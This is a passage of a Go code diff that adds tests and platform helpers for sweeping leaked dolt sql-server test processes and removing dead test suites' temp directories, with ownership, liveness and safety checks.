TestSweepSuiteTestServersPreservesForeignLeak(t *testing.T) { + t.Setenv(AllowLeakEnv, "") + rootA, rootB := t.TempDir(), t.TempDir() + cwd := filepath.Join(rootA, "leaked-server") + if err := os.Mkdir(cwd, 0o700); err != nil { + t.Fatal(err) + } + // The selector recognizes dolt/sql-server in the command line. A shell + // blocked on stdin is a deterministic stand-in with no child processes. + cmd := exec.Command("/bin/sh", "-c", "read line", "dolt", "sql-server") + cmd.Dir = cwd + stdin, err := cmd.StdinPipe() + if err != nil { + t.Fatal(err) + } + defer stdin.Close() + if err := cmd.Start(); err != nil { + t.Fatal(err) + } + exited := make(chan struct{}) + go func() { + _ = cmd.Wait() + close(exited) + }() + t.Cleanup(func() { + _ = cmd.Process.Kill() + <-exited + }) + if err := os.Remove(cwd); err != nil { + t.Fatal(err) + } + if got, deleted := readProcCwd(cmd.Process.Pid); !deleted || got == "" { + t.Fatalf("stand-in cwd = %q, deleted = %v; want a deleted cwd", got, deleted) + } + + for _, roots := range [][]string{nil, {rootB}} { + var swept []SweptServer + var code int + out := captureStderr(t, func() { + swept = SweepSuiteTestServers(roots...) + code = ApplyLeakPolicy("clean B", 0, swept) + }) + if len(swept) != 0 || code != 0 || out != "" { + t.Fatalf("clean sweep %v: swept=%v code=%d stderr=%q", roots, swept, code, out) + } + select { + case <-exited: + t.Fatal("clean suite consumed the leaking suite's evidence") + default: + } + } + + var swept []SweptServer + var code int + captureStderr(t, func() { + swept = SweepSuiteTestServers(rootA) + code = ApplyLeakPolicy("leaking A", 0, swept) + }) + if len(swept) != 1 || swept[0].PID != cmd.Process.Pid || code != 1 { + t.Fatalf("owning suite: swept=%v code=%d; want its server and failure", swept, code) + } + select { + case <-exited: + case <-time.After(5 * time.Second): + t.Fatal("owning suite left its leaked server running") + } +} diff --git a/internal/doltserver/sweep_suite_other.go b/internal/doltserver/sweep_suite_other.go new file mode 100644 index 000000000..af7e052ee --- /dev/null +++ b/internal/doltserver/sweep_suite_other.go @@ -0,0 +1,18 @@ +//go:build !linux && !darwin + +package doltserver + +import "os" + +// rootOwnedBySelf accepts every root on platforms with no POSIX ownership in +// os.FileInfo.Sys(). It costs nothing: processAlive below reports every owner +// alive here, so SweepDeadSuiteRoots never removes anything anyway. +func rootOwnedBySelf(_ os.FileInfo) bool { return true } + +// processAlive reports every owner as alive on platforms where this package +// has no liveness probe, which makes SweepDeadSuiteRoots a no-op there: it +// can never conclude a root's owner is dead, so it never removes anything. +// Same posture as SweepOrphanedTestServers in sweep_other.go — the stub keeps +// callers (test TestMains) portable without giving them a destructive +// best-guess. +func processAlive(_ int) bool { return true } diff --git a/internal/doltserver/sweep_suite_test.go b/internal/doltserver/sweep_suite_test.go new file mode 100644 index 000000000..89b5a81b6 --- /dev/null +++ b/internal/doltserver/sweep_suite_test.go @@ -0,0 +1,384 @@ +package doltserver + +import ( + "bytes" + "errors" + "io" + "os" + "path/filepath" + "reflect" + "strconv" + "strings" + "testing" +) + +// captureStderr runs fn with os.Stderr redirected to a pipe and returns what +// fn wrote there. The sweep reports its findings on stderr and nowhere else, +// so the content of those lines is only testable this way. +func captureStderr(t *testing.T, fn func()) string { + t.Helper() + r, w, err := os.Pipe() + if err != nil { + t.Fatalf("os.Pipe: %v", err) + } + orig := os.Stderr + os.Stderr = w + collected := make(chan string, 1) + go func() { + var buf bytes.Buffer + _, _ = io.Copy(&buf, r) + collected <- buf.String() + }() + fn() + os.Stderr = orig + _ = w.Close() + out := <-collected + _ = r.Close() + return out +} + +// TestDecideSuiteRoot pins the safety judgment behind SweepDeadSuiteRoots: +// exactly one of the four states — claimed by a process that is gone — is +// debris. In particular an UNCLAIMED root is left alone, because a directory +// that merely matches the suite's prefix cannot be proven to be this suite's, +// and reaping it would resurrect the cross-suite killer that +// selectOrphanTestServers' contract exists to prevent (wy-j2zc8q). +func TestDecideSuiteRoot(t *testing.T) { + cases := []struct { + name string + hasMarker bool + ownerAlive bool + want suiteRootAction + }{ + {"claimed by a dead owner is debris", true, false, sweepSuiteRoot}, + {"claimed by a live owner is a concurrent run", true, true, leaveSuiteRoot}, + {"unclaimed root is never provably ours", false, false, leaveSuiteRoot}, + {"unclaimed root stays unclaimed even if some pid is alive", false, true, leaveSuiteRoot}, + } + for _, tc := range cases { + t.Run(tc.name, func(t *testing.T) { + if got := decideSuiteRoot(tc.hasMarker, tc.ownerAlive); got != tc.want { + t.Errorf("decideSuiteRoot(%v, %v) = %v, want %v", tc.hasMarker, tc.ownerAlive, got, tc.want) + } + }) + } +} + +// TestSuiteOwnerMarkerRoundTrip covers the marker read/write pair, including +// every way a read can be inconclusive — each of which must report "owner +// unknown" (ok=false), never "owner dead". +func TestSuiteOwnerMarkerRoundTrip(t *testing.T) { + root := t.TempDir() + if err := WriteSuiteOwnerMarker(root); err != nil { + t.Fatalf("WriteSuiteOwnerMarker: %v", err) + } + pid, ok := readSuiteOwnerMarker(root) + if !ok || pid != os.Getpid() { + t.Errorf("readSuiteOwnerMarker() = (%d, %v), want (%d, true)", pid, ok, os.Getpid()) + } + + if err := WriteSuiteOwnerMarker(""); err == nil { + t.Error("WriteSuiteOwnerMarker(\"\") = nil, want an error") + } + + if _, ok := readSuiteOwnerMarker(t.TempDir()); ok { + t.Error("readSuiteOwnerMarker() on a root with no marker reported ok=true") + } + + for _, body := range []string{"", "not-a-pid", "0", "-1"} { + bad := t.TempDir() + if err := os.WriteFile(filepath.Join(bad, SuiteOwnerMarkerName), []byte(body), 0o600); err != nil { + t.Fatalf("write marker: %v", err) + } + if _, ok := readSuiteOwnerMarker(bad); ok { + t.Errorf("readSuiteOwnerMarker() on marker %q reported ok=true, want unknown", body) + } + } +} + +// TestSweepDeadSuiteRootsSelection walks a synthetic temp directory holding +// one of every case and asserts both halves of the outcome: which roots were +// removed, and which roots the server reaper was vouched for. Nothing here +// signals a real process — the liveness probe and the reaper are injected. +func TestSweepDeadSuiteRootsSelection(t *testing.T) { + parent := t.TempDir() + const prefix = "beads-bd-tests-" + + mkRoot := func(name string, markerPID int) string { + dir := filepath.Join(parent, name) + if err := os.MkdirAll(dir, 0o700); err != nil { + t.Fatalf("mkdir %s: %v", dir, err) + } + if markerPID != 0 { + body := []byte(strconv.Itoa(markerPID) + "\n") + if err := os.WriteFile(filepath.Join(dir, SuiteOwnerMarkerName), body, 0o600); err != nil { + t.Fatalf("write marker in %s: %v", dir, err) + } + } + return dir + } + + const deadPID, livePID = 4242, 4243 + dead := mkRoot(prefix+"dead", deadPID) + live := mkRoot(prefix+"live", livePID) + unclaimed := mkRoot(prefix+"unclaimed", 0) + otherSuite := mkRoot("beads-storage-dolt-tests-dead", deadPID) + + // A plain file and a symlink that both match the prefix: neither is a + // directory this suite created, and neither may be removed. + stray := filepath.Join(parent, prefix+"stray-file") + if err := os.WriteFile(stray, []byte("x"), 0o600); err != nil { + t.Fatalf("write stray file: %v", err) + } + elsewhere := t.TempDir() + link := filepath.Join(parent, prefix+"symlink") + if err := os.Symlink(elsewhere, link); err != nil { + // Windows without the create-symlink privilege; the rest of the + // case still carries its weight. + t.Logf("skipping the symlink leg: %v", err) + link = "" + } + + var vouched []string + swept := sweepDeadSuiteRoots( + parent, prefix, + func(pid int) bool { return pid == livePID }, + func(roots ...string) []SweptServer { + vouched = append(vouched, roots...) + return nil + }, + os.RemoveAll, + ) + + if want := []string{dead}; !reflect.DeepEqual(swept, want) { + t.Errorf("sweepDeadSuiteRoots() = %v, want %v", swept, want) + } + if want := []string{dead}; !reflect.DeepEqual(vouched, want) { + t.Errorf("the server reaper was vouched for %v, want %v", vouched, want) + } + if _, err := os.Stat(dead); !errors.Is(err, os.ErrNotExist) { + t.Errorf("dead-owner root %s still present: %v", dead, err) + } + for _, keep := range []string{live, unclaimed, otherSuite, stray, link, elsewhere} { + if keep == "" { + continue + } + if _, err := os.Lstat(keep); err != nil { + t.Errorf("%s must have been left alone: %v", keep, err) + } + } +} + +// TestSweepDeadSuiteRootsRestoresMarkerOnPartialRemoval covers the recovery +// path for a removal that fails halfway. os.RemoveAll is not atomic and the +// marker is an early casualty, so without the rewrite a root that could not +// be fully deleted (a read-only Go module cache entry under cmd/bd's isolated +// $HOME, say) would come back UNCLAIMED — and an unclaimed root is never +// swept again, by design. The marker must go back naming the same dead owner. +func TestSweepDeadSuiteRootsRestoresMarkerOnPartialRemoval(t *testing.T) { + parent := t.TempDir() + const prefix = "beads-partial-tests-" + const deadPID = 4242 + + root := filepath.Join(parent, prefix+"stuck") + if err := os.MkdirAll(root, 0o700); err != nil { + t.Fatalf("mkdir: %v", err) + } + if err := writeSuiteOwnerMarkerPID(root, deadPID); err != nil { + t.Fatalf("write marker: %v", err) + } + + // Stand in for a partial os.RemoveAll: the marker is gone, the root is + // not, and an error comes back. + stubbornRemove := func(path string) error { + if err := os.Remove(filepath.Join(path, SuiteOwnerMarkerName)); err != nil { + t.Fatalf("simulate partial removal: %v", err) + } + return errors.New("permission denied") + } + + swept := sweepDeadSuiteRoots(parent, prefix, func(int) bool { return false }, func(...string) []SweptServer { return nil }, stubbornRemove) + if len(swept) != 0 { + t.Errorf("sweepDeadSuiteRoots() = %v, want nothing reported as removed", swept) + } + if _, err := os.Stat(root); err != nil { + t.Fatalf("root should still be there: %v", err) + } + pid, ok := readSuiteOwnerMarker(root) + if !ok || pid != deadPID { + t.Fatalf("marker after a failed removal = (%d, %v), want (%d, true) so the next run retries", pid, ok, deadPID) + } + + // And the next run, with removal working, finishes the job. + swept = sweepDeadSuiteRoots(parent, prefix, func(int) bool { return false }, func(...string) []SweptServer { return nil }, removeSuiteRoot) + if want := []string{root}; !reflect.DeepEqual(swept, want) { + t.Errorf("retry swept %v, want %v", swept, want) + } +} + +// TestSweepDeadSuiteRootsRemovesReadOnlyDirs pins removeSuiteRoot's chmod +// walk: cmd/bd's suite root doubles as an isolated $HOME and can hold +// read-only Go module cache directories, which plain os.RemoveAll refuses. +func TestSweepDeadSuiteRootsRemovesReadOnlyDirs(t *testing.T) { + root := filepath.Join(t.TempDir(), "root") + nested := filepath.Join(root, "pkg", "mod", "readonly") + if err := os.MkdirAll(nested, 0o700); err != nil { + t.Fatalf("mkdir: %v", err) + } + if err := os.WriteFile(filepath.Join(nested, "file"), []byte("x"), 0o400); err != nil { + t.Fatalf("write: %v", err) + } + if err := os.Chmod(nested, 0o500); err != nil { + t.Fatalf("chmod: %v", err) + } + // Restore write permission whatever happens, so the test's own temp + // cleanup cannot fail. + t.Cleanup(func() { _ = os.Chmod(nested, 0o700) }) + + if err := os.RemoveAll(root); err == nil { + t.Skip("this platform's os.RemoveAll already handles read-only directories") + } + if err := removeSuiteRoot(root); err != nil { + t.Fatalf("removeSuiteRoot: %v", err) + } + if _, err := os.Stat(root); !errors.Is(err, os.ErrNotExist) { + t.Errorf("root still present after removeSuiteRoot: %v", err) + } +} + +// TestSweepDeadSuiteRootsRefusesUnboundedGlob guards the one input that would +// turn this helper into a temp-directory shredder. +func TestSweepDeadSuiteRootsRefusesUnboundedGlob(t *testing.T) { + parent := t.TempDir() + dir := filepath.Join(parent, "anything") + if err := os.MkdirAll(dir, 0o700); err != nil { + t.Fatalf("mkdir: %v", err) + } + if err := os.WriteFile(filepath.Join(dir, SuiteOwnerMarkerName), []byte("4242\n"), 0o600); err != nil { + t.Fatalf("write marker: %v", err) + } + + dead := func(int) bool { return false } + fatalSweep := func(roots ...string) []SweptServer { + t.Errorf("SweepOrphanedTestServers must not be called: %v", roots) + return nil + } + fatalRemove := func(path string) error { + t.Errorf("removeAll must not be called: %s", path) + return nil + } + + if got := sweepDeadSuiteRoots(parent, "", dead, fatalSweep, fatalRemove); got != nil { + t.Errorf("empty prefix swept %v, want nothing", got) + } + if got := sweepDeadSuiteRoots("", "beads-bd-tests-", dead, fatalSweep, fatalRemove); got != nil { + t.Errorf("empty parent dir swept %v, want nothing", got) + } +} + +// TestSweepDeadSuiteRootsSkipsSelf is the belt-and-braces check that the +// running process's own root survives, since TestMain writes its marker into +// a directory the very same glob will match on the next call. +func TestSweepDeadSuiteRootsSkipsSelf(t *testing.T) { + parent := t.TempDir() + const prefix = "beads-self-tests-" + mine := filepath.Join(parent, prefix+"mine") + if err := os.MkdirAll(mine, 0o700); err != nil { + t.Fatalf("mkdir: %v", err) + } + if err := WriteSuiteOwnerMarker(mine); err != nil { + t.Fatalf("WriteSuiteOwnerMarker: %v", err) + } + + // Real liveness probe this time: our own PID must read as alive. + swept := sweepDeadSuiteRoots(parent, prefix, processAlive, sweepServersUnderRoots, removeSuiteRoot) + if len(swept) != 0 { + t.Fatalf("sweepDeadSuiteRoots removed %v, including this process's own root", swept) + } + if _, err := os.Stat(mine); err != nil { + t.Errorf("own root %s was removed: %v", mine, err) + } +} + +// TestApplyLeakPolicyForSuite covers the exit-code arithmetic of the +// leak-as-failure rule and its env-gated downgrade. +func TestApplyLeakPolicyForSuite(t *testing.T) { + oneLeak := []SweptServer{{PID: 101, Cwd: "/tmp/TestLeaky123/001/.beads/dolt"}} + cases := []struct { + name string + env string + code int + swept []SweptServer + want int + }{ + {name: "no leak, passing suite", code: 0, swept: nil, want: 0}, + {name: "no leak, failing suite", code: 2, swept: nil, want: 2}, + {name: "leak fails a passing suite by default", code: 0, swept: oneLeak, want: 1}, + {name: "leak never overwrites an existing failure", code: 2, swept: oneLeak, want: 2}, + {name: "leak warns instead when opted out", env: "1", code: 0, swept: oneLeak, want: 0}, + {name: "opt-out never revives a failing suite", env: "1", code: 2, swept: oneLeak, want: 2}, + {name: "any value other than 1 still fails", env: "true", code: 0, swept: oneLeak, want: 1}, + } + for _, tc := range cases { + t.Run(tc.name, func(t *testing.T) { + t.Setenv(AllowLeakEnv, tc.env) + // Capture stderr even though this test asserts only the exit + // code. ApplyLeakPolicy's sole side effect is printing, and the + // line it prints for the leak cases is byte-identical to a real + // leak failure — so an uncaptured table run emits + // "FAIL: internal/doltserver leaked 1 dolt sql-server ..." from a + // PASSING test on every green run of this package. That trains + // readers and CI log scrapers to ignore the exact signal this + // package exists to raise. The sibling + // TestApplyLeakPolicyNamesTheLeakingDirectory proves captureStderr + // composes with assertions on the same call. + var got int + captureStderr(t, func() { got = ApplyLeakPolicy("internal/doltserver", tc.code, tc.swept) }) + if got != tc.want { + t.Errorf("ApplyLeakPolicy(%d, %v) with %s=%q = %d, want %d", + tc.code, tc.swept, AllowLeakEnv, tc.env, got, tc.want) + } + }) + } +} + +// TestApplyLeakPolicyNamesTheLeakingDirectory pins the payload of both leak +// lines. A PID alone is useless to whoever reads the CI log — the process is +// long gone and the number identifies nothing — whereas the working directory +// is the temp tree the leaked server was serving, which Go names after the +// test that created it. Reporting it is what turns "cmd/bd leaked a server" +// into a specific fixture to fix (wy-j2zc8q). +func TestApplyLeakPolicyNamesTheLeakingDirectory(t *testing.T) { + const cwd = "/tmp/beads-bd-tests-xyz/TestLeakyFixture123/001/.beads/dolt" + swept := []SweptServer{{PID: 21881, Cwd: cwd}} + + t.Run("the failure line", func(t *testing.T) { + t.Setenv(AllowLeakEnv, "") + var code int + out := captureStderr(t, func() { code = ApplyLeakPolicy("cmd/bd", 0, swept) }) + if code != 1 { + t.Errorf("ApplyLeakPolicy() = %d, want 1", code) + } + if !strings.Contains(out, "FAIL: cmd/bd leaked") { + t.Errorf("stderr = %q, want the FAIL line", out) + } + if !strings.Contains(out, "21881 cwd="+cwd) { + t.Errorf("stderr = %q, want it to name %q", out, cwd) + } + }) + + t.Run("the downgraded warning line", func(t *testing.T) { + t.Setenv(AllowLeakEnv, "1") + var code int + out := captureStderr(t, func() { code = ApplyLeakPolicy("cmd/bd", 0, swept) }) + if code != 0 { + t.Errorf("ApplyLeakPolicy() = %d, want 0", code) + } + if !strings.Contains(out, "Warning: 1 leaked dolt sql-server(s)") { + t.Errorf("stderr = %q, want the Warning line", out) + } + if !strings.Contains(out, "21881 cwd="+cwd) { + t.Errorf("stderr = %q, want it to name %q", out, cwd) + } + }) +} diff --git a/internal/doltserver/sweep_suite_unix.go b/internal/doltserver/sweep_suite_unix.go new file mode 100644 index 000000000..1bdbb8cb5 --- /dev/null +++ b/internal/doltserver/sweep_suite_unix.go @@ -0,0 +1,45 @@ +//go:build darwin || linux + +package doltserver + +import ( + "errors" + "os" + "syscall" +) + +// rootOwnedBySelf reports whether the directory info describes is owned by +// the user running this process. +// +// SweepDeadSuiteRoots globs a world-writable temp directory, so on a shared +// box (/tmp, a CI runner with several users) anyone could plant a directory +// carrying this suite's prefix and an owner marker naming a PID that is not +// running, and have the sweep delete a tree of their choosing under the +// caller's identity. Ownership is the cheap check that closes it. An +// unreadable or unexpected stat shape reports false — not ours, leave it. +func rootOwnedBySelf(info os.FileInfo) bool { + stat, ok := info.Sys().(*syscall.Stat_t) + if !ok { + return false + } + return int(stat.Uid) == os.Getuid() +} + +// processAlive reports whether pid still names a running process, using the +// signal-0 probe (kill(2) performs its permission and existence checks but +// delivers nothing). +// +// Only ESRCH — "no such process" — counts as dead. EPERM means the process +// exists and belongs to another user, and any other errno means the probe +// itself failed; both report alive, so SweepDeadSuiteRoots leaves the root +// untouched rather than deleting a tree on an inconclusive read. +func processAlive(pid int) bool { + // kill(0, sig) signals the caller's whole process group and kill(-1, …) + // every process it may signal, so a nonsensical PID must never reach the + // syscall. Report it alive: an unusable marker is not proof of death. + if pid <= 0 { + return true + } + err := syscall.Kill(pid, 0) + return !errors.Is(err, syscall.ESRCH) +} diff --git a/internal/doltserver/sweep_test.go b/internal/doltserver/sweep_test.go index 291941864..4865ceee1 100644 --- a/internal/doltserver/sweep_test.go +++ b/internal/doltserver/sweep_test.go @@ -1,7 +1,11 @@ package doltserver import ( + "fmt" + "os" + "path/filepath" "reflect" + "slices" "testing" ) @@ -15,11 +19,18 @@ import ( // servers all living under os.TempDir(), and only a suite's own scoped // root may reap its own debris, not everyone else's (gastownhall/beads // mybd-q6cz). +// +// The second bound is on the deleted-cwd arm: a deleted working directory +// only counts as debris when the path it named was under a TEMP root. A +// production server is spawned with cmd.Dir = /.beads/dolt, so +// without that bound a moved workspace or an unmounted volume would make a +// developer's live server look exactly like test debris (wy-j2zc8q). func TestSelectOrphanTestServerPIDs(t *testing.T) { cases := []struct { name string candidates []serverCandidate suiteRoots []string + tempRoots []string want []int }{ { @@ -28,6 +39,7 @@ func TestSelectOrphanTestServerPIDs(t *testing.T) { {pid: 100, cmdline: "dolt sql-server -H 127.0.0.1 -P 12345", cwd: "/tmp/beads-bd-tests-xyz/.beads/dolt", cwdDeleted: true}, }, suiteRoots: nil, + tempRoots: []string{"/tmp"}, want: []int{100}, }, { @@ -36,6 +48,7 @@ func TestSelectOrphanTestServerPIDs(t *testing.T) { {pid: 101, cmdline: "dolt sql-server -H 127.0.0.1 -P 12345", cwd: "/tmp/my-suite-root/.beads/dolt"}, }, suiteRoots: []string{"/tmp/my-suite-root"}, + tempRoots: []string{"/tmp"}, want: []int{101}, }, { @@ -44,6 +57,7 @@ func TestSelectOrphanTestServerPIDs(t *testing.T) { {pid: 102, cmdline: "dolt sql-server -H 127.0.0.1 -P 12345", cwd: "/tmp/other-suite-xyz/.beads/dolt"}, }, suiteRoots: []string{"/tmp/my-suite-root"}, + tempRoots: []string{"/tmp"}, want: nil, }, { @@ -52,6 +66,7 @@ func TestSelectOrphanTestServerPIDs(t *testing.T) { {pid: 103, cmdline: "dolt --prof cpu --prof-path /tmp/my-suite-root/dolt-pprof sql-server -H 127.0.0.1 -P 12345", cwd: "/tmp/my-suite-root/.beads/dolt"}, }, suiteRoots: []string{"/tmp/my-suite-root"}, + tempRoots: []string{"/tmp"}, want: []int{103}, }, { @@ -60,6 +75,7 @@ func TestSelectOrphanTestServerPIDs(t *testing.T) { {pid: 200, cmdline: "dolt sql-server -H 127.0.0.1 -P 3307", cwd: "/home/dev/project/.beads/dolt"}, }, suiteRoots: []string{"/tmp/my-suite-root"}, + tempRoots: []string{"/tmp"}, want: nil, }, { @@ -68,6 +84,7 @@ func TestSelectOrphanTestServerPIDs(t *testing.T) { {pid: 201, cmdline: "some-other-binary --flag", cwd: "/tmp/my-suite-root/whatever"}, }, suiteRoots: []string{"/tmp/my-suite-root"}, + tempRoots: []string{"/tmp"}, want: nil, }, { @@ -76,6 +93,7 @@ func TestSelectOrphanTestServerPIDs(t *testing.T) { {pid: 202, cmdline: "dolt status", cwd: "/tmp/my-suite-root/whatever"}, }, suiteRoots: []string{"/tmp/my-suite-root"}, + tempRoots: []string{"/tmp"}, want: nil, }, { @@ -84,6 +102,7 @@ func TestSelectOrphanTestServerPIDs(t *testing.T) { {pid: 203, cmdline: "dolt sql-server -H 127.0.0.1 -P 12345", cwd: ""}, }, suiteRoots: []string{"/tmp/my-suite-root"}, + tempRoots: []string{"/tmp"}, want: nil, }, { @@ -92,6 +111,7 @@ func TestSelectOrphanTestServerPIDs(t *testing.T) { {pid: 204, cmdline: "dolt sql-server -H 127.0.0.1 -P 12345", cwd: "/tmp/my-suite-root2/evil"}, }, suiteRoots: []string{"/tmp/my-suite-root"}, + tempRoots: []string{"/tmp"}, want: nil, }, { @@ -100,6 +120,7 @@ func TestSelectOrphanTestServerPIDs(t *testing.T) { {pid: 205, cmdline: "dolt sql-server -H 127.0.0.1 -P 12345", cwd: "/tmp/some-suite/.beads/dolt"}, }, suiteRoots: nil, + tempRoots: []string{"/tmp"}, want: nil, }, { @@ -111,15 +132,70 @@ func TestSelectOrphanTestServerPIDs(t *testing.T) { {pid: 303, cmdline: "dolt sql-server -P 4", cwdDeleted: true, cwd: "/tmp/whatever-else/.beads/dolt"}, }, suiteRoots: []string{"/tmp/my-suite-root"}, + tempRoots: []string{"/tmp"}, want: []int{302, 303}, }, + { + name: "a PRODUCTION server whose workspace was moved or deleted is left alone", + candidates: []serverCandidate{ + {pid: 400, cmdline: "dolt sql-server --config /Users/dev/project/.beads/dolt-server-config.yaml", cwd: "/Users/dev/project/.beads/dolt", cwdDeleted: true}, + }, + suiteRoots: []string{"/tmp/my-suite-root"}, + tempRoots: []string{"/tmp", "/private/var/folders/c1/xx/T"}, + want: nil, + }, + { + name: "a production server on an unmounted volume is left alone", + candidates: []serverCandidate{ + {pid: 401, cmdline: "dolt sql-server -P 3307", cwd: "/Volumes/external/work/.beads/dolt", cwdDeleted: true}, + }, + suiteRoots: nil, + tempRoots: []string{"/tmp"}, + want: nil, + }, + { + name: "the observed orphan: deleted cwd under the macOS private temp form is reaped with no suite roots", + candidates: []serverCandidate{ + {pid: 402, cmdline: "dolt sql-server --config /private/var/folders/c1/xx/T/TestUOWDependencyEditorContract1/003/config.yaml", cwd: "/private/var/folders/c1/xx/T/TestUOWDependencyEditorContract1/002", cwdDeleted: true}, + }, + suiteRoots: nil, + tempRoots: []string{"/var/folders/c1/xx/T", "/private/var/folders/c1/xx/T"}, + want: []int{402}, + }, + { + name: "the same orphan reported in the unresolved /var form is reaped too", + candidates: []serverCandidate{ + {pid: 403, cmdline: "dolt sql-server -P 1", cwd: "/var/folders/c1/xx/T/TestUOWDependencyEditorContract1/002", cwdDeleted: true}, + }, + suiteRoots: nil, + tempRoots: []string{"/var/folders/c1/xx/T", "/private/var/folders/c1/xx/T"}, + want: []int{403}, + }, + { + name: "a deleted cwd inside the caller's own suite root needs no temp root at all", + candidates: []serverCandidate{ + {pid: 404, cmdline: "dolt sql-server -P 1", cwd: "/opt/scratch/my-suite-root/.beads/dolt", cwdDeleted: true}, + }, + suiteRoots: []string{"/opt/scratch/my-suite-root"}, + tempRoots: nil, + want: []int{404}, + }, + { + name: "no temp roots at all disables the deleted-cwd arm entirely", + candidates: []serverCandidate{ + {pid: 405, cmdline: "dolt sql-server -P 1", cwd: "/tmp/some-suite/.beads/dolt", cwdDeleted: true}, + }, + suiteRoots: []string{"/tmp/my-suite-root"}, + tempRoots: nil, + want: nil, + }, } for _, tc := range cases { t.Run(tc.name, func(t *testing.T) { - got := selectOrphanTestServerPIDs(tc.candidates, tc.suiteRoots) + got := sweptPIDs(selectOrphanTestServers(tc.candidates, tc.suiteRoots, tc.tempRoots)) if !reflect.DeepEqual(got, tc.want) { - t.Errorf("selectOrphanTestServerPIDs() = %v, want %v", got, tc.want) + t.Errorf("selectOrphanTestServers() = %v, want %v", got, tc.want) } }) } @@ -175,9 +251,344 @@ not-a-pid dolt sql-server t.Fatalf("gatherPSCandidates() = %#v, want %#v", candidates, wantCandidates) } - gotPIDs := selectOrphanTestServerPIDs(candidates, []string{"/tmp/my-suite"}) - wantPIDs := []int{101, 103} - if !reflect.DeepEqual(gotPIDs, wantPIDs) { - t.Errorf("darwin ps selection path = %v, want %v", gotPIDs, wantPIDs) + // The darwin ps/lsof path must hand the selection a cwd for every + // survivor, because that cwd is what the sweep's report prints + // (wy-j2zc8q). Assert the whole SweptServer, not just the PIDs. + gotServers := selectOrphanTestServers(candidates, []string{"/tmp/my-suite"}, []string{"/tmp"}) + wantServers := []SweptServer{ + {PID: 101, Cwd: "/tmp/my-suite/.beads/dolt"}, + {PID: 103, Cwd: "/tmp/deleted-suite/.beads/dolt"}, + } + if !reflect.DeepEqual(gotServers, wantServers) { + t.Errorf("darwin ps selection path = %v, want %v", gotServers, wantServers) } } + +// sweptPIDs projects a selection result down to its PIDs so the big tables +// above can stay readable. The cwd every entry carries is pinned directly by +// TestGatherPSCandidates and TestSweptServerNamesItsDirectory. +func sweptPIDs(servers []SweptServer) []int { + if len(servers) == 0 { + return nil + } + pids := make([]int, 0, len(servers)) + for _, server := range servers { + pids = append(pids, server.PID) + } + return pids +} + +// TestSweptServerNamesItsDirectory pins the rendering both sweep stderr lines +// rely on: a reader gets the leaked server's working directory, which names +// the test that leaked it, not just a PID that is already dead (wy-j2zc8q). +func TestSweptServerNamesItsDirectory(t *testing.T) { + server := SweptServer{PID: 21881, Cwd: "/tmp/TestFoo123/001/.beads/dolt"} + const want = "21881 cwd=/tmp/TestFoo123/001/.beads/dolt" + if got := server.String(); got != want { + t.Errorf("SweptServer.String() = %q, want %q", got, want) + } + if got := fmt.Sprintf("%v", []SweptServer{server}); got != "["+want+"]" { + t.Errorf("formatted slice = %q, want %q", got, "["+want+"]") + } + // A cwd-less server can never be selected (selectServers skips them), + // but the renderer must not print a dangling "cwd=" if one appears. + if got := (SweptServer{PID: 7}).String(); got != "7" { + t.Errorf("SweptServer with no cwd = %q, want %q", got, "7") + } +} + +// TestSelectServersUnderSuiteRoots pins the strictly root-scoped selection +// SweepDeadSuiteRoots relies on. It runs at suite START, with sibling +// packages mid-run, so it must reap only what is provably inside the roots +// it was handed: no deleted-cwd arm, no temp-dir reasoning of any kind. +func TestSelectServersUnderSuiteRoots(t *testing.T) { + candidates := []serverCandidate{ + {pid: 500, cmdline: "dolt sql-server -P 1", cwd: "/tmp/dead-root/.beads/dolt"}, + {pid: 501, cmdline: "dolt sql-server -P 2", cwd: "/tmp/dead-root/nested/deeper/dolt", cwdDeleted: true}, + {pid: 502, cmdline: "dolt sql-server -P 3", cwd: "/tmp/live-sibling-root/.beads/dolt"}, + {pid: 503, cmdline: "dolt sql-server -P 4", cwd: "/tmp/some-other-suite/.beads/dolt", cwdDeleted: true}, + {pid: 504, cmdline: "dolt sql-server -P 5", cwd: "/Users/dev/project/.beads/dolt", cwdDeleted: true}, + {pid: 505, cmdline: "not-dolt --flag", cwd: "/tmp/dead-root/whatever"}, + {pid: 506, cmdline: "dolt sql-server -P 6", cwd: ""}, + } + + got := selectServersUnderRoots(candidates, []string{"/tmp/dead-root"}) + want := []SweptServer{ + {PID: 500, Cwd: "/tmp/dead-root/.beads/dolt"}, + {PID: 501, Cwd: "/tmp/dead-root/nested/deeper/dolt"}, + } + if !reflect.DeepEqual(got, want) { + t.Errorf("selectServersUnderRoots() = %v, want %v", got, want) + } + + if got := selectServersUnderRoots(candidates, nil); got != nil { + t.Errorf("selectServersUnderRoots() with no roots = %v, want nothing", got) + } +} + +// TestCanonicalRootsForSweep covers the path-form expansion that lets a root +// match however the OS reports a process's cwd. +func TestCanonicalRootsForSweep(t *testing.T) { + if got := canonicalRoots(nil); got != nil { + t.Errorf("canonicalRoots(nil) = %v, want nothing", got) + } + if got := canonicalRoots([]string{"", ""}); got != nil { + t.Errorf("canonicalRoots(empties) = %v, want nothing", got) + } + + // A path that cannot be resolved is still kept as given. + missing := filepath.Join(t.TempDir(), "does-not-exist") + if got := canonicalRoots([]string{missing}); !reflect.DeepEqual(got, []string{missing}) { + t.Errorf("canonicalRoots(%q) = %v, want just the literal path", missing, got) + } + + // A real directory reached through a symlink yields both forms, in that + // order, with no duplicates — this is what makes macOS's + // /var/folders/… vs /private/var/folders/… pair match. + target := t.TempDir() + link := filepath.Join(t.TempDir(), "link") + if err := os.Symlink(target, link); err != nil { + t.Skipf("symlinks unavailable: %v", err) + } + resolved, err := filepath.EvalSymlinks(link) + if err != nil { + t.Fatalf("EvalSymlinks(%s): %v", link, err) + } + got := canonicalRoots([]string{link, link, resolved}) + want := []string{link, resolved} + if !reflect.DeepEqual(got, want) { + t.Errorf("canonicalRoots() = %v, want %v", got, want) + } +} + +// TestTempDirRootsBoundTheOrphanArm checks that the deleted-cwd bound +// actually covers the directory this process's own t.TempDir() lands in — +// if it did not, the arm would silently never fire. +func TestTempDirRootsBoundTheOrphanArm(t *testing.T) { + roots := tempDirRoots() + if len(roots) == 0 { + t.Fatal("tempDirRoots() is empty; the deleted-cwd arm could never fire") + } + dir := t.TempDir() + resolved, err := filepath.EvalSymlinks(dir) + if err != nil { + resolved = dir + } + if !underAnyRoot(dir, roots) && !underAnyRoot(resolved, roots) { + t.Errorf("t.TempDir() %q (resolved %q) is under none of tempDirRoots() %v", dir, resolved, roots) + } + if underAnyRoot("/Users/dev/project/.beads/dolt", roots) { + t.Errorf("a production workspace path matched tempDirRoots() 